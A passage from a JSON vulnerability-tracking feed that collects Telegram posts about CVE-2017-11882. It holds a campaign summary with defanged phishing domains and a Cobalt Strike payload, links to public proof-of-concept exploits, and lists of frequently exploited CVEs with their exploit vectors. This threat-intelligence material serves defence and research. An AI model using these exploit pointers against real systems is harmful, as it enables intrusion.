\u043f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0444\u0430\u0439\u043b, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c\u00a0\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434.\u00a0\n\n\u0417\u0430\u043f\u0443\u0441\u043a \u0444\u0430\u0439\u043b\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\u00a0CVE-2017-11882, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043e\u0442\u043a\u0440\u044b\u0432\u0448\u0435\u0433\u043e \u0444\u0430\u0439\u043b.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u0442 \u0436\u0435 \u0434\u043e\u043c\u0435\u043d\u00a0\u0434\u043b\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0438\u0441\u0435\u043c, \u0447\u0442\u043e \u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0430\u0445: kzst45[.]ru, \u043c\u0438\u043c\u0438\u043a\u0440\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u0434 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0440\u0435\u0441\u0443\u0440\u0441 kzst45[.]com.\n\n\u0422\u0430\u043a\u043e\u0439 \u0436\u0435 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0441\u044f \u043f\u0440\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u043e\u043c\u0435\u043d\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044f \u0438\u0437 \u0441\u0432\u0435\u0436\u0438\u0445 \u0430\u0442\u0430\u043a \u2013 mysterykamchatka[.]ru, \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u043c\u0435\u043d \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0432 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0437\u043e\u043d\u0435 .com.\u00a0\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043f\u0443\u0444\u0438\u043d\u0433 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0430\u0445: \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u043f\u0438\u0441\u0435\u043c\u00a0\u0433\u0440\u0443\u043f\u043f\u0430 \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u043b\u0430 \u0430\u0434\u0440\u0435\u0441 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044f, \u0447\u0442\u043e\u0431\u044b \u043d\u0430\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u0438\u0441\u044c\u043c\u043e \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0433\u043b\u0430\u0432\u043d\u043e\u0433\u043e \u0431\u0443\u0445\u0433\u0430\u043b\u0442\u0435\u0440\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u0430\u044d\u0440\u043e\u043f\u043e\u0440\u0442\u043e\u0432.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 - Cobalt Strike's Beacon.\n\n\u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2025-06-30T15:09:56.000000Z"}, {"uuid": "2b4d794c-09a6-44be-ac42-315735506060", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "Telegram/mCYeooGxM9Dqr-WS0xN6TnZmbFE3_3sXwxZUU2AXtCJmNw", "content": "", "creation_timestamp": "2025-01-17T02:09:10.000000Z"}, {"uuid": "ccd78324-bd69-458b-9337-ae9af1a39242", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/Torchik_Rus/2581", "content": "#metasploit \n#exploit\n#cve\n\nhttp://telegra.ph/CVE-2017-11882-MS-Word-Metasploit-11-27", "creation_timestamp": "2017-11-28T04:08:48.000000Z"}, {"uuid": "c846aba8-2c9b-4825-a3ce-38d0044e8e62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/w2hack/271", "content": "\u0420\u0430\u0437\u0431\u043e\u0440 \u0441\u0442\u0430\u0440\u044b\u0445, \u043d\u043e \u0442\u0430\u043a\u0438 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0438 \u0447\u0430\u0441\u0442\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0438\u0437 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u043f\u0435\u043d-\u0442\u0435\u0441\u0442\u0430, \u0443\u044f\u0437\u0432\u0438\u0441\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u043f\u0430\u043a\u0435\u0442\u0435 \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 MS Office. \u0422\u0435\u043e\u0440\u0438\u044f \u0438 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0431\u0430\u0433\u043e\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 OLE \u0438 HTA- \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439\n\nhttps://telegra.ph/Otravlennyj-dokumenty-MS-Office-ili-bol-is-radaniya-OLE-Razbor-nashumevshih-bagov-CVE-2017-8570-i-CVE-2017-11882-08-08", "creation_timestamp": "2023-07-03T14:48:42.000000Z"}, {"uuid": "6866d0d5-fe7e-46f5-931a-7acf1dc7bb29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/news4hack/19", "content": "https://github.com/rxwx/CVE-2017-11882/blob/master/packager_exec_CVE-2017-11882.py", "creation_timestamp": "2018-01-05T14:06:27.000000Z"}, {"uuid": "f482403f-ec86-4a2c-9dc9-3af5a11b798d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/is_n3ws/34", "content": "\u200c\u041a\u043e\u043c\u0430\u043d\u0434\u0430 Recorded Future \u043f\u0440\u043e\u0448\u0435\u0440\u0441\u0442\u0438\u043b\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438, \u0434\u0430\u0440\u043a\u0432\u0435\u0431 \u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e \u0433\u043e\u0434\u0430\u043c.\u00a0\n\n\n\u200b\u200bCVE-2018-15982\nis a use-after-free in the Flash\u2019s file package com.adobe.tvsdk.mediacore.metadata that can be exploited to deliver and execute malicious code on a victim\u2019s computer. Exploit vector: rtf document with flash object.\n\nCVE-2018-8174\nWindows VBScript Engine Remote Code Execution Vulnerability. Exploit vector:\u00a0 An attacker could embed an ActiveX control marked \"safe for initialization\" in an application or Microsoft Office document.\n\nCVE-2017-11882\nVulnerability in an older version of the Office Equation Editor. Exploit vector: RTF file downloads and runs multiple scripts of different types (VBScript, PowerShell, PHP, others) to download the payload.\n\nCVE-2018-4878\nFlash Player vulnerability. Exploit vector: The Excel file carrying an embedded SWF file with the exploit.\n\nCVE-2019-0752\nA remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. Exploit vector: In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Internet Explorer and then convince a user to view the website. An attacker could also embed an ActiveX control marked \"safe for initialization\" in an application or Microsoft Office document that hosts the IE rendering engine.\n\nCVE-2017-0199\nMS Office zero-day vulnerability. Exploit vector: Microsoft Word RTF (Rich Text Format) document.\n\nCVE-2015-2419\nJScript 9 in Microsoft Internet Explorer 10 and 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka \"JScript9 Memory Corruption Vulnerability.\"\n\nCVE-2018-20250\nWinRAR vulnerability that allows attackers to extract a malicious executable to one of the Windows Startup folder to be executed every time the system is booted.\n\nCVE-2017-8750\nA remote code execution vulnerability exists in the way that Microsoft browsers access objects in memory.\u00a0 Exploit vector: An attacker could host a specially crafted website that is designed to exploit the vulnerability through Microsoft browsers.\n\nCVE-2012-0158\nA buffer overflow vulnerability in the\u00a0 ListView / TreeView ActiveX controls in the MSCOMCTL.OCX library. The malicious code can be triggered by a specially crafted DOC or RTF file for MS Office versions 2003, 2007 and 2010.\n\nhttps://www.helpnetsecurity.com/2020/02/06/most-exploited-vulnerabilities-2019/", "creation_timestamp": "2020-02-07T07:05:41.000000Z"}, {"uuid": "999607a0-567f-438e-ac8d-f5ef420caec7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/R0_Crew/272", "content": "Proof-of-Concept exploits for CVE-2017-11882 https://github.com/embedi/cve-2017-11882 #poc #exploit\n#dukeBarman #github", "creation_timestamp": "2017-11-21T10:23:45.000000Z"}, {"uuid": "e4532fe1-1821-4b1b-9ee3-ac06b79e4e7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/true_secator/7103", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0431\u043e\u043c\u0431\u0438\u0442\u044c \u043e\u0442\u0447\u0435\u0442\u0430\u043c\u0438, \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043f\u043e\u0434\u043e\u0433\u043d\u0430\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0443 \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0437\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2025 \u0433\u043e\u0434\u0430.\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u043b\u0430\u0441\u044c \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 2024 \u0433\u043e\u0434\u0443, \u0442\u0430\u043a \u043a\u0430\u043a \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435 \u043c\u043e\u0433\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0430 \u0438\u0445 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0433\u043e\u0434\u044b.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043c\u043d\u043e\u0433\u0438\u0435 CWE \u0438\u0437 TOP 10 \u0434\u043b\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 Microsoft \u0438 \u044f\u0434\u0440\u0430 Linux \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0438\u043b\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c\u0438, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u044b \u043d\u0430 \u0441\u0445\u043e\u0436\u0438\u0445 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0430\u0445, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u0447\u0430\u0441\u0442\u043e \u043a \u00ab\u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e\u00bb \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0430\u0442\u0430\u043a \u0434\u043b\u044f Linux \u043d\u0430 Windows \u0438 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442.\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a \u0441 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Windows \u0432\u044b\u0440\u043e\u0441\u043b\u043e \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c \u043f\u0435\u0440\u0438\u043e\u0434\u043e\u043c \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\u041a\u0430\u043a \u0438 \u043f\u0440\u0435\u0436\u0434\u0435, \u043b\u044c\u0432\u0438\u043d\u0430\u044f \u0434\u043e\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0431\u044b\u043b\u0430 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Microsoft Office.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0447\u0430\u0449\u0435 \u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Windows \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0441\u0442\u0430\u0440\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c: CVE-2018-0802, CVE-2017-11882 (\u043e\u0431\u0435 RCE \u0432 Equation Editor), CVE-2017-0199 (Microsoft Office \u0438 WordPad).\n\n\u0412\u0441\u0435 \u0442\u0440\u0438 \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 \u043d\u0430 \u043f\u0440\u043e\u0442\u044f\u0436\u0435\u043d\u0438\u0438 2024 \u0433\u043e\u0434\u0430, \u0438 \u043c\u044b \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0430\u044f \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0438 \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c.\n\n\u0417\u0430 \u043d\u0438\u043c\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 WinRAR \u0438 \u0432 \u0441\u0430\u043c\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Windows: CVE-2023-38831 (WinRAR), CVE-2024-35250 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430\u00a0ks.sys) \u0438 CVE-2022-3699 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 Lenovo Diagnostics).\n\n\u0414\u043b\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439) \u0438 CVE-2021-3156 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435\u00a0sudo).\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a\u0430\u043a \u0441\u0430\u043c\u043e\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043b\u0438\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 \u0447\u0438\u0441\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u043c - \u044d\u0442\u0430 \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u043b\u0430\u0441\u044c \u0438 \u043d\u0430 \u043f\u0440\u043e\u0442\u044f\u0436\u0435\u043d\u0438\u0438 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\u0422\u0430\u043a\u0436\u0435 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043b\u0430\u0441\u044c \u0434\u043e\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft Office.\n\n\u0418\u0437\u0443\u0447\u0438\u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 APT, \u0432 \u041b\u041a \u0432\u044b\u0434\u0435\u043b\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430: CVE-2025-0282, CVE-2024-21887 \u0438 CVE-2025-0283 (Ivanti Connect Secure), CVE-2020-1472 (Netlogon Windows), CVE-2023-46805 (Ivanti ICS), CVE-2023-48788 (Fortinet) \u0438 \u0434\u0440.\n\n\u041e\u0442\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u0432 TOP 10 \u0432\u0435\u0440\u043d\u0443\u043b\u0430\u0441\u044c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Zerologon, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0443 \u0434\u043e\u043c\u0435\u043d\u0430.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u041b\u041a \u0432\u044b\u0434\u0435\u043b\u0438\u043b\u0438: \n\n- ZDI-CAN-25373: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 lnk-\u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u041e\u0421 Windows;\n\n- CVE-2025-21333: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u0443\u0447\u0435 \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 vkrnlintvsp.sys;\n\n- CVE-2025-24071: 